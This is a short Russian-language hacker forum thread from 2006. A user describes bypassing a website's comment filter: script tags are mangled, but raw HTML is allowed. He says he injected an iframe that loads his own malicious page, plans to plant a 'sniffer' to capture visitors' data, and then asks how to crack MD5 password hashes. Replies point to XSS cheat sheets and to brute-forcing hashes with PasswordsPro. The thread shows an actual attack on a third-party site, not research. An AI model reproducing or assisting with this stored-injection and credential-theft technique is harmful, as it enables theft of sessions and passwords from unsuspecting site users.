Ломаный javascript

Discussion in 'PHP' started by *D1VER, 13 Dec 2006.

  1. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    Проблемка!
    В комментарии некоева сайта можно вставить html-тэги!....... Но при вставлении элементов javascript в исходнике получаеться;

    <s_c_r_i_p_t></s_c_r_i_p_t>

    И естественно алерт отопражаеться как текст!

    Пробовал заменять другой кодировкой словa!
    Не выходит!

    Есть у кого нибудь соображения по этому вопросу?
     
  2. Lesnoy_chelovek

    Lesnoy_chelovek Elder - Старейшина

    Joined:
    6 Dec 2006
    Messages:
    224
    Likes Received:
    152
    Reputations:
    8
    Зашифровывать пробовал? В шестнадцетиричный код, например.
     
  3. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    Пробовал не катит!
     
  4. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    посмотри тут, мож чтонибудь подойдет http://antichat.ru/crackchat/HTML/
     
    1 person likes this.
  5. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Лучше тут посмотри http://ha.ckers.org/xss.html
     
  6. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    Спасиба! но я сам нашёл выход из ситуации!

    Так как Вставка html-элементов не фильтруеться!

    Я вставил фрейм такого содержания!

    <iframe style="height=240;width=320" src="мой_адресок_с_поганью"></iframe>

    Пойду теперь Сниферок втыкну!

    Если не сложно следующий вопрос мой будет таков!

    Можно ли каким нибудь способом md5 хеш превратить обратно в пароль? Или нет?
     
    #6 *D1VER, 13 Dec 2006
    Last edited: 13 Dec 2006
    1 person likes this.
  7. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    можно перебором, http://forum.antichat.ru/thread26983.html и прога Passwordspro, в ней думаю раберешся :).
     
  8. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    InferNo23, Спасиба!